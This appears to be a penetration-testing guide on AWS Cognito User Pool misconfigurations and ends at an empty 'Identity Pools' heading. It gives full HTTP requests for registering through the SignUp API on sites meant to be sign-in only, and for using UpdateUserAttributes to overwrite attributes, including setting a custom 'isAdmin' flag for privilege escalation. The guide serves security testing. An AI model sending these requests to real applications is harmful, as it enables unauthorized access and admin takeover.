AWS Cognito

Criteria

User Pools

Description

Sometimes you may run into an application that has a signup page, but no user registration. A developer may create a website with only a sign-in page for authorized users and not realize that users can register through the Cognito API.

Step 1: Fingerprinting Cognito User Pools

You can try to sign-in with random credentials and check if AWS Cognito User Pools is being used by checking if a request is being made to

https://cognito-idp.us-east-1.amazonaws.com

.

Step 2: Getting the ClientId

The ClientId is a unique identifier used to tell AWS which cognito application we want to use. The ClientId can be found in the Sign-In request made previously or the source code.

Request

Source Code

Step 3: Sending the Registration Request

We can send the registration request to

https://cognito-idp.us-east-1.amazonaws.com
using the
X-Amz-Target: AWSCognitoIdentityProviderService.SignUp
header.


    POST / HTTP/2
    Host: cognito-idp.us-east-1.amazonaws.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
    Accept: */*
    Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://localhost:3000/
    Content-Type: application/x-amz-json-1.1
    X-Amz-Target: AWSCognitoIdentityProviderService.SignUp
    X-Amz-User-Agent: aws-amplify/5.0.4
    Cache-Control: no-store
    Content-Length: 167
    Origin: http://localhost:3000
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: cross-site
    Te: trailers
    
    {
        "ClientId": "5015ncg0dvmsd4vbmskke3j1tv",
        "Username": "test2",
        "Password": "Password123!",
        "UserAttributes": [
            {
                "Name": "email",
                "Value": "test2@gmail.com"
            }
        ],
        "ValidationData": null
    }

If the website only contains a sign-in page and the developer doesn't intend for a normal user to be able to register, then this is a vulnerability.

Description

AWS Cognito allows users to have attributes. These attributes are additional information on the user that the application may want; such as gender, website, preferred_username, family_name, etc. These attributes can be misconfigured to allow users to write to attributes that the developer didn't intend.

By default, the following attributes are writeable (minus the attribute prefixed with "custom:"):

When a user logs into an application using AWS Cognito User Pools, they will receive an

AccessToken
in the response. You can use this access token to get your attributes on your account with the
X-Amz-Target: AWSCognitoIdentityProviderService.GetUser
header.

Request


    POST / HTTP/2
    Host: cognito-idp.us-east-1.amazonaws.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
    Accept: */*
    Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://localhost:3000/
    Content-Type: application/x-amz-json-1.1
    X-Amz-Target: AWSCognitoIdentityProviderService.GetUser
    X-Amz-User-Agent: aws-amplify/5.0.4
    Cache-Control: no-store
    Content-Length: 1051
    Origin: http://localhost:3000
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: cross-site
    Te: trailers
    
    {
        "AccessToken":"eyJraWQiOiJueXdGS0pudTRiU1ZTdk5PTGxwNzVJS0hlSUpxRzNtWkp..."
    }

Response


    HTTP/2 200 OK
    Date: Fri, 11 Aug 2023 17:00:04 GMT
    Content-Type: application/x-amz-json-1.1
    Content-Length: 254
    X-Amzn-Requestid: 0c25f19c-4711-4b49-8a2d-bc7ecfc3fa1b
    Access-Control-Allow-Origin: *
    Access-Control-Expose-Headers: x-amzn-RequestId,x-amzn-ErrorType,x-amzn-ErrorMessage,Date
    
    {
        "UserAttributes": [
            {
                "Name": "sub",
                "Value": "744bf586-7150-4358-8789-b2dd78711992"
            },
            {
                "Name": "address",
                "Value": "555 home"
            },
            {
                "Name": "email_verified",
                "Value": "true"
            },
            {
                "Name": "name",
                "Value": "blog user"
            },
            {
                "Name": "phone_number_verified",
                "Value": "false"
            },
            {
                "Name": "email",
                "Value": "blog3@gmail.com"
            }
        ],
        "Username": "blog3"
    }

As you can see we have the following attributes set on our account. We can check if any of these attributes are writeable using the

X-Amz-Target: AWSCognitoIdentityProviderService.UpdateUserAttributes
header.

By default there is no real security issue unless the developer made

email_verified
or
phone_number_verified
options writeable (which are not writable by default). There may still be some situations where developers don't want you to be able to change one of these attributes.

Request


    POST / HTTP/2
    Host: cognito-idp.us-east-1.amazonaws.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
    Accept: */*
    Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://localhost:3000/
    Content-Type: application/x-amz-json-1.1
    X-Amz-Target: AWSCognitoIdentityProviderService.UpdateUserAttributes
    X-Amz-User-Agent: aws-amplify/5.0.4
    Cache-Control: no-store
    Content-Length: 1173
    Origin: http://localhost:3000
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: cross-site
    Te: trailers
    
    {
        "AccessToken":"eyJraWQiOiJueXdGS0pudTRiU1ZTdk5PTGxwNzVJS0hlSUpxRzNtWkp0...",
         "UserAttributes": [ 
            { 
                 "Name": "address",
                 "Value": "hacker"
            }
         ]
    }

You can then check if this attribute was changed by making another request to

X-Amz-Target: AWSCognitoIdentityProviderService.GetUser
and checking if the address value changed.


    HTTP/2 200 OK
    Date: Fri, 11 Aug 2023 17:00:04 GMT
    Content-Type: application/x-amz-json-1.1
    Content-Length: 254
    X-Amzn-Requestid: 0c25f19c-4711-4b49-8a2d-bc7ecfc3fa1b
    Access-Control-Allow-Origin: *
    Access-Control-Expose-Headers: x-amzn-RequestId,x-amzn-ErrorType,x-amzn-ErrorMessage,Date
    
    {
        "UserAttributes": [
            {
                "Name": "sub",
                "Value": "744bf586-7150-4358-8789-b2dd78711992"
            },
            {
                "Name": "address",
                "Value": "hacker"
            },
            {
                "Name": "email_verified",
                "Value": "true"
            },
            {
                "Name": "name",
                "Value": "blog user"
            },
            {
                "Name": "phone_number_verified",
                "Value": "false"
            },
            {
                "Name": "email",
                "Value": "blog3@gmail.com"
            }
        ],
        "Username": "blog3"
    }

Like I said previously, changing your own attributes such as address, name, family_name, etc. is not a security issue. The security issue will most likely rely in the misconfiguration of custom attributes. Custom attribute names are always prefixed “custom:” in Amazon Cognito requests.

A developer may have an

isAdmin
attribute being set on the users. If this attribute is misconfigured to allow writing to the attribute, then the same process as before can be followed to give yourself admin privilege's.


    POST / HTTP/2
    Host: cognito-idp.us-east-1.amazonaws.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
    Accept: */*
    Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://localhost:3000/
    Content-Type: application/x-amz-json-1.1
    X-Amz-Target: AWSCognitoIdentityProviderService.UpdateUserAttributes
    X-Amz-User-Agent: aws-amplify/5.0.4
    Cache-Control: no-store
    Content-Length: 1173
    Origin: http://localhost:3000
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: cross-site
    Te: trailers
    
    {
        "AccessToken":"eyJraWQiOiJueXdGS0pudTRiU1ZTdk5PTGxwNzVJS0hlSUpxRzNtWkp0...",
         "UserAttributes": [ 
            { 
                 "Name": "isAdmin",
                 "Value": "True"
            }
         ]
    }

Remember, you can then check if it worked by sending the

AWSCognitoIdentityProviderService.GetUser
shown previously.

Identity Pools